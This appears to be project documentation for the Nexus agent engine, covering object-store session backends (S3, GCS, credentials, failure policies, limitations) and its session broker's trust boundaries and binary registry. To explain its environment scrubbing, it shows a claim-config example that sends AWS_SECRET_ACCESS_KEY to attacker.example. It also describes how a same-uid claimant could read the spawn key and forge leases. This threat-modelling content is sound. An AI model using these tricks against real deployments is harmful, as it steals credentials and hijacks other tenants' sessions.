Neither is in bin/nexus. Adopting object storage means building your own
host binary — see limitation 6.
1. Add the module to your program
$ go get github.com/frankbardon/nexus@v0.19.0
$ go get github.com/frankbardon/nexus/modules/objectstore-s3@v0.1.0
The backend module is versioned independently of the core module and its tags
are cut on demand, not on every core release (see
Repository Go Modules → Versioning and tagging).
So a modules/objectstore-s3/vX.Y.Z may not exist for every core version — when
the one you want has no tag, Go resolves a branch or a commit SHA to a
pseudo-version (@main), and you pin a real tag once one is cut.
The backend module requires a core version that has the seam. Each backend’s
go.mod names one, and objectstore-s3/v0.1.0 requires core v0.19.0, the
release the seam first shipped in. Asking for an older core than the backend
declares does not silently degrade — it fails to build, because
pkg/engine/objectstore is not there to import.
Go 1.26 or newer. The core module’s floor moved there when three dependencies did; there is no supported build on 1.25.
2. Blank-import it
The module registers itself under its backend name from init, in the
database/sql driver style. Importing it for its side effect is the entire
wiring step — no factory to construct, no option to pass, nothing to hand to the
engine:
import _ "github.com/frankbardon/nexus/modules/objectstore-s3"
3. Name it in config
core:
object_store:
backend: s3
bucket: nexus-sessions
prefix: prod/nexus
region: eu-west-2
failure_policy: degrade
That is all of it. If you skip step 2 and keep step 3, the boot fails with the diagnosis rather than a runtime surprise:
core.object_store.backend "s3" is not a registered object-store backend
(registered: none — no backend module is imported into this build);
add the backend module to your build and import it for its side effect
The whole program
A minimal host that is nexus plus a bucket:
package main
import (
"context"
"fmt"
"os"
"github.com/frankbardon/nexus/pkg/engine"
"github.com/frankbardon/nexus/pkg/engine/allplugins"
// Registers the "s3" object-store backend under that name. Nothing else in
// the program references this package — naming it in config is the wiring.
_ "github.com/frankbardon/nexus/modules/objectstore-s3"
)
func main() {
eng, err := engine.New("config.yaml")
if err != nil {
fmt.Fprintf(os.Stderr, "engine: %v\n", err)
os.Exit(1)
}
// Resuming is what makes the bucket load-bearing: with an ID set, Boot
// hydrates that session's whole tree before the first turn runs.
eng.RecallSessionID = os.Getenv("NEXUS_RECALL")
allplugins.RegisterAll(eng.Registry)
if err := eng.Run(context.Background()); err != nil {
fmt.Fprintf(os.Stderr, "run: %v\n", err)
os.Exit(1)
}
}
Swap objectstore-s3 for objectstore-gcs and backend: s3 for backend: gcs
to run against Google Cloud Storage. Nothing else in the program changes.
engine.NewFromBytes is the alternative constructor for a host that
//go:embeds its config.yaml and wants no filesystem dependency at boot.
Embedders that own their own lifecycle (a desktop shell, a test harness) call
Boot and Stop directly rather than Run, which owns signal handling.
Verifying the wiring
With no backend named — the default — no object-store code runs at all: no handle is opened, no snapshot handler is subscribed, and a backend sitting registered in the process is never touched. So “it booted” is not evidence the store is engaged. Look for the snapshot log line, which is emitted on every turn boundary rather than sampled:
INFO object store: session snapshot session_id=… trigger=turn generation=3
objects=41 bytes=1839204 objects_uploaded=4 bytes_uploaded=91232
objects_skipped=37 db_bytes=1622016 duration=131ms
(Abridged — the real line also carries reason, sequence, manifest_bytes,
bytes_skipped, db_duration and the shared_* counters for the app- and
agent-scope stores.)
bytes_uploaded, not bytes, is the per-turn cost. The same numbers go out on
the bus as
session.snapshot.result.
Credentials
Neither backend creates the bucket, and neither checks it at boot. A boot-time
round trip to the store would make failure_policy: degrade structurally unable
to do its job, so what is validated at boot is the configuration — a malformed
endpoint, a credentials_file that is not there, an unresolvable region — and
nothing remote.
s3 — ambient credentials (production)
Leave credentials_file empty. The backend uses the AWS SDK’s default
credential chain, neither reordered nor narrowed: environment variables, the
shared config and credentials files, IRSA / EKS Pod Identity, ECS task roles,
and the EC2 instance role via IMDSv2 — with expiry-aware refresh.
core:
object_store:
backend: s3
bucket: nexus-sessions
prefix: prod/nexus
region: eu-west-2
The principal needs read, write, delete and list on the bucket. region is
required against real AWS: it is signed into every request.
s3 — a static credentials file
An ordinary AWS INI file, so the same file works with the AWS CLI and can be
mounted as a Kubernetes secret unchanged. AWS_PROFILE selects the profile.
# ~/.config/nexus/aws-credentials
[default]
aws_access_key_id = AKIA…
aws_secret_access_key = …
core:
object_store:
backend: s3
bucket: nexus-sessions
credentials_file: ~/.config/nexus/aws-credentials
A credentials_file that does not exist fails the boot. That check is
deliberate: the SDK on its own ignores a missing shared credentials file and
falls through to ambient credentials, so an operator who typo’d the path would
silently authenticate as the wrong principal.
s3 — S3-compatible endpoints
Setting endpoint to an absolute http:// or https:// URL both points the
client somewhere else and switches it to path-style addressing
(https://host/bucket/key). That is what makes self-hosted stores work
unmodified: virtual-host addressing needs wildcard DNS and a wildcard
certificate they do not have. There is no separate path-style key and none is
needed — real AWS, which prefers virtual-host addressing, is the case where no
endpoint is set.
With endpoint set, region defaults to us-east-1, which every
S3-compatible store accepts and none of them interprets.
# MinIO on a laptop. Works unchanged against Ceph RGW or Backblaze B2.
core:
object_store:
backend: s3
bucket: nexus
endpoint: http://127.0.0.1:9000
credentials_file: ~/.config/nexus/minio-credentials
# Cloudflare R2.
core:
object_store:
backend: s3
bucket: nexus-sessions
endpoint: https://<account-id>.r2.cloudflarestorage.com
credentials_file: ~/.config/nexus/r2-credentials
One trap is closed for you: the backend sets the SDK’s
RequestChecksumCalculation to WhenRequired whenever a custom endpoint is in
play. Without it PutObject switches to aws-chunked transfer encoding, which
several S3-compatible stores reject with a signature error that mentions nothing
about checksums.
gcs — Application Default Credentials (production)
Leave credentials_file empty. The backend uses ADC, neither reordered nor
narrowed: GOOGLE_APPLICATION_CREDENTIALS, the gcloud well-known file, GKE
Workload Identity and the GCE service account via the metadata server,
service-account impersonation, and Workload Identity Federation — with
expiry-aware refresh and no key material on disk.
core:
object_store:
backend: gcs
bucket: nexus-sessions
prefix: prod/nexus
The principal needs storage.objects.get, create, delete and list on the
bucket; roles/storage.objectAdmin covers exactly those. No project ID is
needed anywhere — a project is required to create or list buckets, and this
backend does neither.
region is accepted and ignored, with a warning logged once at boot: a GCS
bucket’s location is fixed when the bucket is created and no client ever names
one. It is not an error because the same core.object_store block is shared
with s3, and a config that travels between the two clouds should not fail to
boot over a key that cannot change behaviour here.
gcs — a static service-account key
The JSON file gcloud iam service-accounts keys create produces, so the same
file works with gcloud and can be mounted as a Kubernetes secret unchanged.
core:
object_store:
backend: gcs
bucket: nexus-sessions
credentials_file: ~/.config/nexus/gcs-service-account.json
Only that credential type is accepted. An external-account (Workload
Identity Federation) or impersonation configuration names a URL the auth library
will fetch a token from, and accepting one from a path that may have come from a
shared config repository would hand an attacker a credential-exfiltration
primitive. Those belong on the ambient path above, via
GOOGLE_APPLICATION_CREDENTIALS, where an operator opts into them at the
environment level.
Credential resolution is: credentials_file if set; otherwise ADC if it
resolves; otherwise, if endpoint is set, an unauthenticated client, logged
at warn — the emulator path. Anything else fails the boot. That last step is
deliberately stricter than the Google SDK, which builds a client happily when it
cannot find credentials and fails at the first request instead; under
failure_policy: degrade that would be a run that starts, looks healthy and
persists nothing.
gcs — emulator endpoints
Unlike s3, endpoint here is an emulator switch, not a way to reach an
alternative provider. GCS has one production service, reached by leaving
endpoint empty; a VPC using Private Google Access or Private Service Connect
gets there by DNS and routing policy, not by a client-side override.
core:
object_store:
backend: gcs
bucket: nexus
endpoint: http://127.0.0.1:4443
The JSON API path (/storage/v1/) is appended for you when the URL has none, so
the key is spelled the same way for both backends. A URL that already carries a
path is left alone, for an emulator behind a reverse proxy on a sub-path.
When the store is unreachable
core.object_store.failure_policy is the one durability trade-off you own
rather than the implementation. Both values retry with exponential backoff
(1 s, doubling, capped at 60 s), both surface the outage on the bus as a
session.storage.degraded / session.storage.recovered pair, and both
recover with no operator action. What differs is whether the session keeps
taking turns while the store is down.
degrade (default) | strict | |
|---|---|---|
| Turn that hit the outage | completes | completes — it is not un-run |
| Further turns | accepted | refused until the state is stored |
core.error | not raised | raised on every failed snapshot |
| Recovery | automatic | automatic |
| Boot-time hydration failure | fails the boot | fails the boot |
Pick degrade when an object-store outage should not take down an interactive
agent that still has a perfectly good local tree — and read
limitation 3 for what you are
trading. Pick strict when running against unstored state is worse than
refusing input — and read
limitation 2 for what it does
not buy you.
Under strict, the veto runs at before:io.input priority 200, behind every
other subscriber, so slash commands and cancellation still work while the gate
is closed.
One thing is deliberately not policy-governed: a blob write-through failure
never closes the strict gate. Write-through is an optimisation in front of the
turn-boundary snapshot, which re-uploads anything the store is missing; failing
a turn because that optimisation stumbled on an object the very next snapshot
repairs would make strict fire on transients it is not there to catch.
Full detail, including the retry queue bounds and why they are compiled-in constants rather than config keys: Configuration Reference → Failure policy.
Trying it without a cloud account
Both backends have an emulator suite in-repo that starts and stops the emulator itself, needs no cloud account and no repo secret, and runs the same conformance suite plus a real kill-and-resume cycle:
$ make test-objectstore-minio # modules/objectstore-s3 against MinIO (needs Docker)
$ make test-objectstore-fake-gcs # modules/objectstore-gcs against fake-gcs-server (no container runtime)
Both run in CI as their own jobs, and both fail rather than skip when an emulator was provisioned, so a green job means the tests actually ran. Neither covers IAM — see limitation 7.
Limitations
Every item here is an accepted trade-off rather than a known bug, and every one of them will look like a bug to an operator who meets it without warning.
1. Single-writer is assumed and not enforced
Covered at length at the top of this page,
and repeated here because it is the one that loses data. Detection is
best-effort logging plus a session.owner.conflict event; nothing is refused.
The consequence of two writers is silent state loss — the loser’s
store.db, history and journal are overwritten whole, with no error raised
anywhere.
A marker is treated as stale, and stays silent, when it belongs to this run, when its host matches and its PID is gone, or when its heartbeat stopped advancing more than five minutes ago. That is what keeps an ordinary crash-resume from alarming — and it is also why a genuinely concurrent second host on a different machine has to miss ten heartbeats before it is called stale. Both thresholds are compiled-in constants.
2. strict gates the next turn, not the failed one
When a turn’s state cannot be persisted, the turn has already happened: its output was streamed to the user, its tools ran, and its side effects are in the world. Nothing in Nexus can un-run it and no configuration makes it not have happened.
What strict guarantees is that no turn ever runs against state whose
predecessor was not durably stored, and the divergence is never silent. It
does not guarantee that the turn which hit the outage was prevented. A genuine
pre-commit gate would need a vetoable turn-boundary event that does not exist,
and would not help even if it did — by the time an agent loop can report a turn,
the work is done.
3. degrade means the guarantee is not being met
Turns keep succeeding against the local working copy, and that is the point. The honest caveat: during an outage the durability guarantee is not being met even though nothing is failing. Work the user watched happen exists only on local disk, so a host that dies while degraded loses it. On ephemeral compute, where there is no disk between invocations, “loses it” is unqualified.
session.storage.degraded is the signal that this window is open, and
session.storage.recovered is the signal that it closed. Exactly one of each
per outage.
4. An interrupted snapshot’s in-place overwrite is not undone
Hydration restores the committed object set, not per-object versions. The
manifest names paths, not versions — so a snapshot that died partway after
already re-uploading conversation.jsonl, the active journal segment or a
store.db has replaced the committed bytes at that key, and hydration will
restore those newer bytes because the key is in the committed set.
What you do get is that objects the committed manifest does not name are not materialised into the tree, so a partial generation cannot add files. What you do not get is “the previous good remote state remains restorable”. Closing this needs per-generation object keys, which was costed and rejected.
Orphaned objects a manifest no longer names are left in the bucket, never deleted. Reclamation is the operator’s.
5. Cold start grows with session size
Hydration is eager and whole-tree, and completes before the first turn runs. There is deliberately no lazy or faulting read path: threading one through the engine and ~60 plugins would be impossible to get right, and SQLite could not use it at all — so “behaves exactly like local disk” would degrade from a guarantee to an aspiration.
The consequence is that time-to-first-turn on a resume scales with the size of
the stored session. A long-running session that has accumulated a large
files/ tree or a large per-plugin database will pay for it on every resume
onto a fresh host. Measure it for your own workload before assuming a resume is
cheap.
No wall-clock budget is asserted, deliberately. A millisecond threshold on a
shared CI runner is either flaky or so loose it catches nothing, and it fails
for reasons unrelated to this code. What is asserted is the cost shape, in
pkg/engine/session_objectstore_coldstart_test.go: resuming costs exactly two
backend round trips — the tree, then the committed-object manifest — regardless
of session size, zero List calls, and zero writes back to the store; a warm
tree costs no traffic at all; and hydration pulls only this session’s key
prefix, proven with a larger neighbouring session in the same bucket. Those
numbers are exactly reproducible, and they are what turns into latency and
egress against a real store.
So a refactor toward per-object fetching — one request per file instead of one for the tree — fails the suite rather than quietly turning one round trip into thousands. What still will not fail the suite is the same two round trips carrying steadily more bytes, which is the growth this section is about.
The snapshot side is measured: 0.05 MiB of tree costs ~12.5 ms of local engine
work, 6 MiB ~30 ms, 91 MiB ~170 ms, plus network on top. Immutable-by-identity
files (content-addressed blobs, sealed journal segments) are skipped rather than
re-uploaded, which took a blob-heavy 91 MiB tree from 2007 objects and 90.5 MiB
per turn to 7 objects and 27.9 MiB. Ordinary artifact output under files/ is
not immutable and does re-upload.
6. The shipped binaries cannot use object storage
bin/nexus and bin/nexus-broker blank-import no backend, and they never will:
that is the whole reason backends are separate modules. Setting
core.object_store in a config handed to the stock nexus binary fails the
boot with the “no backend module is imported into this build” message — which
is the correct outcome, but it means object storage is a library-only
feature. Adopting it means building your own binary, as
above.
This has a direct consequence for the session broker: the broker cold-spawns a
nexus subprocess, and the binary it spawns is whatever binaries: names. A
broker deployment that wants object-store-backed session pods must point that
config at a custom binary with a backend compiled in. The stock one cannot
do it.
7. Workload identity is exercised by nothing in this repo
IRSA, EKS Pod Identity, IMDSv2 and ECS task roles on AWS; ADC resolution, GKE Workload Identity and Workload Identity Federation on GCP — none of these are covered by any test in this repository, and no emulator reproduces them. MinIO and fake-gcs-server exercise the data plane, not the credential chain.
That chain is precisely the reason both backends take a cloud SDK rather than
hand-rolled net/http, so the code being trusted here is the vendor’s. It is
still untested in this configuration. A manual live check against a real
cluster is warranted before relying on the workload-identity path in
production, and it is the one part of adoption this repo cannot do for you.
Operating Object Storage → Verifying workload identity for real is the five-step runbook for that check, including the failure that looks like success: a pod picking up the node instance role instead of the assumed one returns 200 and works, until node permissions are tightened.
8. MinIO cannot hold an object at another key’s prefix
The engine’s key scheme can produce an object at key sessions/sess-1 beside
objects under sessions/sess-1/…. S3 and GCS hold that state fine — their key
spaces are flat and / has no meaning beyond being a byte. MinIO cannot
represent it: the PUT returns 200, the child objects stop appearing in any
listing, and the bucket cannot even be emptied by listing it. Measured on both
single-drive and 4-drive erasure modes.
This is emulator divergence, not a backend bug, and it is accommodated in the
conformance suite by objectstoretest.WithoutObjectAtPrefix(). A test fails and
tells you to remove the option if MinIO ever gains a flat key space. If you
run MinIO in production rather than as an emulator, this is a real constraint on
your deployment, not a test detail.
9. A misspelled block used to boot with object storage silently disabled
Fixed. Recorded here because the failure mode is worth knowing, and because anyone running a build from before the fix still has it.
Plugin config has always been schema-validated with additionalProperties: false, so a plugin-level typo failed the boot. The engine’s own core: block
was not: LoadConfigFromBytes is non-strict, and the validator rebuilds the map
from the already-decoded typed config, so a key YAML decoding dropped never
reached the schema. core: { object_stor: { … } } therefore booted clean, with
enabled=false backend="" and no error — every turn succeeding, nothing ever
uploaded, and the first symptom an empty bucket after the host was replaced.
checkUnknownConfigKeys now walks the raw YAML against the config structs’ yaml
tags and rejects an unknown key at any depth, naming the path and listing what
was valid there:
config: unknown key "core.object_stor" (valid keys here: agent_id, log_level,
logging, max_concurrent_events, models, object_store, sessions, storage,
tick_interval)
Blocks whose keys are data rather than field names are exempt and unaffected:
plugins: (plugin IDs, guarded by their own schemas), core.models (role names)
and capabilities: (capability names).
It is still worth verifying the wiring by looking for the snapshot log line rather than by observing a clean boot — see Verifying the wiring. A config can name a backend correctly and still be pointed at the wrong bucket.
Writing your own backend
The seam is public. pkg/engine/objectstore imports nothing outside the
standard library and names no bucket API, credential type or HTTP client, so a
backend can live in a module this repository never sees — no PR required.
Two rules are easy to read past, and both corrupt sessions rather than producing an error:
- Keys are validated, not merely documented. Every method must reject a
malformed key or prefix with an error wrapping
objectstore.ErrInvalidKey, before touching the store or the filesystem.objectstore.ValidateKeyandobjectstore.ValidateKeyPrefiximplement the rule; the..ban is what stops a hostile key from writing outside a hydration destination. - Prefixes match whole segments. Raw string matching — the native behaviour
of
ListObjectsV2and its GCS equivalent — makes the prefixsessions/sess-1selectsessions/sess-10’s objects, which mixes two sessions into one tree.objectstore.TrimKeyPrefixis the rule in code.
Hold your backend to the shared conformance suite:
func TestContract(t *testing.T) {
objectstoretest.RunSuite(t, func(t *testing.T) objectstore.Backend {
return newMyBackend(t) // empty, cleaned up via t.Cleanup
})
}
Passing the interface suite does not prove a session resumes from it.
pkg/engine/objectstore/enginetest.RunResumeSuite is the second half: it drives
a real engine through a kill-and-resume cycle against your store, and asks you
for four hooks — register a factory, make an empty bucket, list the bucket, read
one object. Both shipped backends run it.
Full detail:
Sessions → Writing a backend,
and Repository Go Modules for the module layout, the
no-go.work decision and the tagging policy.
See also
- Operating Object Storage — bucket lifecycle policy, orphan reclamation, reading cost off the snapshot log, what to alert on, Kubernetes manifests, and how to verify workload identity for real
- Configuration Reference →
core.object_store— canonical keys, defaults and validation - Sessions → Object-Store Backing — design and rationale
- Per-Plugin Storage → Object storage for app and agent scope
- Event Types → Session Events — every event this feature emits
- Repository Go Modules — why backends are separate modules
Session Broker
The session broker (cmd/nexus-broker) is a standalone service that fronts
many OS-isolated nexus instances behind a single HTTP/WebSocket ingress.
Callers claim an instance, talk to it over a WebSocket, and release it when
done. Each instance is a separate nexus process, so tenant isolation is
process isolation — which is weaker than it sounds. Read
Trust boundaries before putting two callers that do not
trust each other in front of one broker.
It is a protocol-aware gateway, not a blind TCP proxy: it decodes every frame and routes by lease and signal, which is how it tracks readiness, idleness, and crashes.
The broker is not an engine plugin. It lives under
cmd/nexus-brokerand is built separately fromcmd/nexus. The only plugin involved isnexus.io.broker, which runs inside each spawned instance and dials back to the broker.
How it works
┌───────────────────────────────────────┐
│ nexus-broker │
client ──HTTP POST────▶│ /claim /release/{id} /ticket/{id} │
│ /leases /agents/{name}/… (A2A) │
◀──lease+ws_url─│ │
──WebSocket────▶│ /lease/{id} ◀──frames──▶ /instance │
└───────────────────────────────────────┘
│ exec() with env ▲
▼ │ dials back
┌───────────────────────────────────────┐ │
│ nexus instance (own process) │─┘
│ nexus.io.broker plugin │
└───────────────────────────────────────┘
- A caller
POST /claims with a full nexus config, optionally naming whichbinaries:entry to run. - The broker resolves that name against its registry, acquires a capacity slot,
mints a lease, writes the config to a temp file, and cold-spawns that
entry’s
nexusbinary, injecting the broker address and lease id as environment variables. - The instance’s
nexus.io.brokerplugin dials back to the broker’s/instanceendpoint, registers its lease, and signals ready. The broker is the only listening socket. POST /claimreturns the lease id and aws_url. The caller opens that WebSocket and IO frames flow client ↔ broker ↔ instance.- The instance is released on demand (
POST /release), on idle (idle_timeout), or on crash. The session persists on disk and is resumable.
Trust boundaries
The broker gives every claimant its own process. That is not the same as giving it its own security domain, and the difference decides whether one broker may front two callers that do not trust each other. By default it may not.
Scrubbing the environment did not make the broker a security boundary
Reducing the spawn environment to
what the operator declared closed one
specific hole: a claimant could previously name any variable the broker process
held and have a provider post its value to a base_url of the claimant’s
choosing. That hole is closed. The broker is still not a boundary between
mutually untrusting callers, because the part that matters is not the
environment.
Without run_as, a claimed instance
runs as the broker’s own uid with the broker’s HOME. Whoever claimed it
drives that instance’s shell and file tools, and so can:
- read
~/.nexus/sessions/— every other tenant’s transcripts, session files and per-plugin state, including sessions created by other claimants and by the A2A ingress; - read
<state_dir>/spawn-key. That file is the derivation key for every per-spawn dial-back secret, so holding it is enough to forge any live lease’s instance identity: dial/instance, register as somebody else’s instance, and be handed their client’s stream. The directory is mode0700, which keeps out other users; it does not keep out a process already running as its owner.
Neither of those depends on a bug. Both follow from the instance and the broker
sharing a uid, which is the default. An auth: block does not
change it either: authentication decides who may claim, not what a claimed
instance can reach once it is running.
So: one broker per trust domain, or set run_as. If every caller of a broker
is already entitled to everything that broker’s other callers can see — one
team’s CI, one product’s backend — the default is fine, and always was. If they
are not, the separation has to come from the OS.
What run_as buys, exactly
run_as separates instances by OS user, and that is the whole of it. It does
not sandbox the filesystem, restrict the network, or cap CPU or memory; it
does not separate two instances of the same entry from each other, since
they share a credential and a session tree; and it does not protect an
instance from the caller who claimed it, who chose its config and drives its
tools. It also requires a privileged broker — root, or CAP_SETUID and
CAP_SETGID on Linux, needed even when run_as names the broker’s own uid,
because dropping the broker’s supplementary groups calls setgroups, which is
itself privileged.
The full configuration, the HOME rule and the boot-time failure modes are under
Running instances as another user.
The bounds the broker does not enforce
| Boundary | Where it actually lives |
|---|---|
| Per-lease memory, CPU and disk | The deployment — a systemd slice, a cgroup, or a container per instance. max_concurrent is a headcount, not a resource budget; see What max_concurrent does not bound. |
| What an instance may read and write on the host | The OS user it runs as (run_as) plus whatever that user is granted. The broker adds nothing. |
| Transport confidentiality | A TLS-terminating proxy in front of listen_addr; see Behind a proxy. The broker itself speaks plain HTTP and only warns when advertise_addr promises wss:///https:// that it does not serve. |
| How often a caller may claim | Nothing. The per-principal keys under Per-principal caps bound how much a caller may hold, not the rate at which it may churn. |
Running the broker
The broker reads its own YAML config file (default broker.yaml, override with
-config <path>):
# broker.yaml
listen_addr: ":8080" # HTTP/WS gateway bind address
advertise_addr: "" # address CLIENTS use to reach this broker; required behind a proxy/LB
binaries: # named nexus variants this broker may spawn (see below)
nexus: # reserved name; always present, declare it to override the path
path: "nexus"
# nexus_binary_path: "nexus" # DEPRECATED alias for binaries.nexus.path; still honoured
max_concurrent: 8 # max live instances; <=0 = unlimited
idle_timeout: 5m # release a QUIET lease after this much inactivity; <=0 disables
max_turn_duration: 30m # bound on an in-flight turn, which is otherwise exempt from idle_timeout
queue_wait_timeout: 30s # how long an over-cap claim waits in the FIFO queue; <=0 = no waiting
max_queue_depth: 64 # how many claims may be PARKED in that queue at once; <=0 = unlimited
max_leases_per_principal: 0 # live leases one authenticated principal may hold; 0 = off
max_queued_per_principal: 0 # queued claims one authenticated principal may hold; 0 = off
release_grace: 10s # graceful-shutdown grace before SIGTERM, then SIGKILL
ready_timeout: 30s # ceiling on instance BOOT; raise it for a slow-starting config
session_report_grace: 5s # post-ready wait for the instance's session id; claim still succeeds if it elapses
max_claim_body: 1048576 # ceiling on the claim request body (1 MiB); it carries the whole config
state_dir: "" # per-broker dir for the lease journal; empty = in-memory only
broker_id: "" # stamped on every lease record; generated + persisted when empty
reattach_window: 60s # how long a lease restored after a restart waits for its instance
# auth: # optional; omit the block to run unauthenticated (see Authentication)
# build both binaries
go build -o bin/nexus ./cmd/nexus
go build -o bin/nexus-broker ./cmd/nexus-broker
# run the broker
bin/nexus-broker -config broker.yaml
Every config key, its type, and its default are listed in the authoritative Configuration Reference.
Serving several nexus variants: the binary registry
binaries: is a registry of named nexus variants this broker may spawn,
keyed by the name a claim selects it by. A base build, a vision-enabled build, a
pinned older release and a wrapper script that pre-sets an environment can all
live behind one ingress.
Every entry is a variant of nexus, not an arbitrary program, because the
broker spawns them all identically and expects the same behaviour back:
- it exec()s the entry’s
pathwith-config <temp file>, plus-recall <session_id>when the claim is a resume; - it injects
NEXUS_BROKER_ADDR,NEXUS_BROKER_LEASE_IDandNEXUS_BROKER_SPAWN_SECRETinto the child’s environment; - it waits for the process’s
nexus.io.brokerplugin to dial back to/instance, register that lease, and signal ready.
A binary that does not honour that contract never signals ready, so the claim
fails with 504 instance did not become ready in time rather than misbehaving
quietly. The registry chooses which build runs; it does not change the
protocol any of them speak.
This is also how an instance gets object-store-backed sessions. Object-store
backends are separate Go modules and the shipped nexus binary imports none of
them, so a core.object_store block in an instance profile fails that instance’s
boot. Spawning instances that persist to a bucket means registering a custom
build here — nexus plus a blank import of the backend module — and pointing a
binaries: entry at it. The broker itself is unaffected either way: its own lease
and task state are its own, not the instance’s session tree. See
Object Storage.
# broker.yaml
binaries:
nexus: # reserved name; declare it only to pin the path
path: "/usr/local/bin/nexus"
vision:
path: "~/builds/nexus-vision" # `~` is expanded
label: "Nexus (vision)" # presentational only
description: "Multimodal build with the image tools compiled in"
args: ["-profile", "vision"] # appended AFTER the broker's -config / -recall
env:
NEXUS_VISION: "1" # layered UNDER the broker's NEXUS_BROKER_* vars
pinned:
path: "nexus-0.9" # no path separator → looked up on the broker's PATH
description: "Pinned 0.9 build for regression triage"
Clients do not have to be told these names out of band. The broker publishes
its registry on GET /binaries, so
a client builds its picker from live broker truth instead of hardcoding entries
that may not exist on the broker it is talking to. Only name, label and
description are published — path, args and env never leave the broker
host.
label and description are documentation for operator and client surfaces —
nothing routes on them, and consumers fall back to the entry name when label
is empty. path is the only required field. The per-field table is in the
Binary registry reference.
args are that variant’s own flags, so only set them for a build that
defines them: stock nexus accepts -config, -recall and -replay and
nothing else, and an unknown flag makes the process exit before it can dial back
— which the claim sees as 502 instance exited before signalling ready.
nexus is reserved and always resolves. After a successful load the registry
always contains a nexus entry, whatever the config says — declare it to pin its
path, omit it and it is synthesized as path: "nexus" (a PATH lookup). Omit
the whole binaries: block and that synthesized entry is the entire registry,
which is exactly the pre-registry behaviour. There is deliberately no
default: field: a claim that names no binary always means nexus, so an
operator cannot silently change what an existing client spawns.
Every entry is verified at boot, before the gateway listens: the path is
expanded (~), looked up on the broker process’s PATH when it contains no path
separator, made absolute, then stat’d and checked for an execute bit. An entry
that is missing, is a directory, or carries no execute bit refuses the boot,
naming the entry, the path that was resolved, and the reason. The broker logs the
resolved absolute path of every entry at startup, so a stale build shadowing the
one you meant is visible in the boot log rather than inferred later.
This includes the reserved
nexusentry. A zero-config broker whosePATHhas nonexusnow fails to start, where it previously started fine and failed at the first claim. The exec-bit check is a mode check, not a “can this user run it” check, so a binary executable only by another user still passes boot and fails at exec.
Adding a variant does not need a restart. Edit binaries: and send the
broker a SIGHUP: the next claim can select the new entry, GET /binaries
advertises it, and every live lease is untouched. See
Changing config without a restart.
A variant can extend a spawn, never redirect it. args are appended after
the broker’s own -config / -recall arguments, so an entry can add flags but
cannot displace the contract the instance protocol depends on. env is merged
over whatever the spawn inherited from the broker, but the three NEXUS_BROKER_*
dial-back variables are applied last and always win — an entry cannot point an
instance at a different broker, hand it another lease id, or supply its own spawn
secret.
What environment an instance is given
A spawned instance does not inherit the broker’s environment. It is built
from nothing, in this order (later wins, since exec resolves a duplicated key
to its last occurrence):
| # | Source | Contents |
|---|---|---|
| 1 | Always-pass | HOME, LANG, PATH, TZ, taken from the broker regardless of config |
| 2 | inherit_env | Each name it lists, taken from the broker — skipped if the broker does not hold it |
| 3 | The entry’s env | Set outright, in sorted key order |
| 4 | Broker-owned | NEXUS_BROKER_ADDR, NEXUS_BROKER_LEASE_ID, NEXUS_BROKER_SPAWN_SECRET |
The reason is not tidiness. A claim supplies the whole engine config, and a
Nexus provider resolves its credential from an environment variable that config
names (api_key_env and its equivalents) while the same config sets
base_url. Anything an instance holds is therefore readable and postable
anywhere by whoever claimed the lease:
# a claim body's `config`
core:
models:
default:
provider: openai
api_key_env: AWS_SECRET_ACCESS_KEY # any variable the process holds
base_url: https://attacker.example # where its value gets sent
An allowlist of known provider key names cannot close that, because the caller picks the name. Only reducing the environment to what the operator declared bounds it.
HOME and PATH are in the always-pass set for reasons that have nothing to do
with credentials: HOME resolves ~/.nexus, so without it an instance cannot
create a session directory and -recall has nothing to resume, and PATH is
what makes exec and the shell tool work at all.
# broker.yaml
inherit_env: # names only — the values come from the broker's own env
- ANTHROPIC_API_KEY
- OPENAI_API_KEY
Use inherit_env when the value lives in the broker’s environment (injected
by systemd, Kubernetes, or a secrets agent) and a variant’s env when the value
is a property of the variant. A claim’s config can still carry a credential
inline, in which case neither key is involved.
At boot the broker names, per registry entry, exactly what that entry’s spawns will carry — names only, never values:
level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
resolved_path=/opt/builds/nexus-vision \
spawn_env=ANTHROPIC_API_KEY,HOME,LANG,NEXUS_BROKER_ADDR,NEXUS_BROKER_LEASE_ID,NEXUS_BROKER_SPAWN_SECRET,NEXUS_VISION,PATH,TZ
The line reports what will be carried, not what was declared, so a name
missing from it was never in the broker’s own environment. Those are also
collected into one startup WARN naming them.
Migrating: instances no longer inherit the broker’s environment
This is a breaking change. A broker that was started with
ANTHROPIC_API_KEY exported into its shell used to pass it to every instance it
spawned. It no longer does, and an instance whose config expects to read it will
fail to reach a provider on its first turn.
To migrate, take each variable your instances rely on and put it in one of two places:
- it lives in the broker’s environment → add its name to
inherit_env; - it is a property of one variant → set it under that entry’s
env.
# before — worked only because the broker's whole environment was inherited
binaries:
nexus:
path: /usr/local/bin/nexus
# after
inherit_env:
- ANTHROPIC_API_KEY
- OPENAI_API_KEY
binaries:
nexus:
path: /usr/local/bin/nexus
Two things make the break loud rather than silent. The per-entry boot line above
lists everything a spawn will carry, so a variable you expected and do not see is
visible at startup rather than at the first turn; and a name you declared that
the broker does not actually hold is called out in its own startup WARN.
There is no opt-out and no compatibility flag. inherit_env: ["*"] is not
supported — a wildcard would restore exactly the exfiltration primitive above,
and the caller’s ability to name any variable is what makes “just the risky ones”
an impossible line to draw. The symptom, the diagnosis and this edit are also
listed beside the other breaking change under
Upgrading an existing broker.
Which entry ran a session is remembered, so a resume re-uses it instead of
falling back to nexus, and a resume that names a different variant is refused
with a 409. That check is best-effort, with limits worth knowing before you
depend on it — see
A resume re-uses the binary that created the session.
Full resolution rules and the boot-failure messages are in Binary resolution.
Migrating from nexus_binary_path
Nothing to do. nexus_binary_path still works and existing deployments boot
unchanged — it is deprecated, not removed:
Your broker.yaml | What happens |
|---|---|
| Neither key | nexus is synthesized with path nexus; unchanged zero-config behaviour. |
nexus_binary_path only | Its value becomes binaries.nexus.path, and the broker logs one WARN naming the replacement key. |
binaries.nexus only | Taken as written. This is the form to move to. |
| Both | Boot failure naming both keys. |
Setting both is refused rather than resolved by precedence: whichever rule the
broker picked, half of the operators who hit it would silently spawn the binary
they did not mean, and the mistake would only ever surface as instances behaving
oddly. Setting nexus_binary_path: "" is likewise a boot error, not a silent
fallback — remove the key to take the default.
Migrating is a mechanical rewrite:
# before
nexus_binary_path: "/usr/local/bin/nexus"
# after
binaries:
nexus:
path: "/usr/local/bin/nexus"
What the registry deliberately does not do
- No per-binary authentication or scoping.
auth:gates routes, not entries. Any caller allowed to claim may name any registered entry, andGET /binariesshows every entry to every caller. - No per-binary capacity.
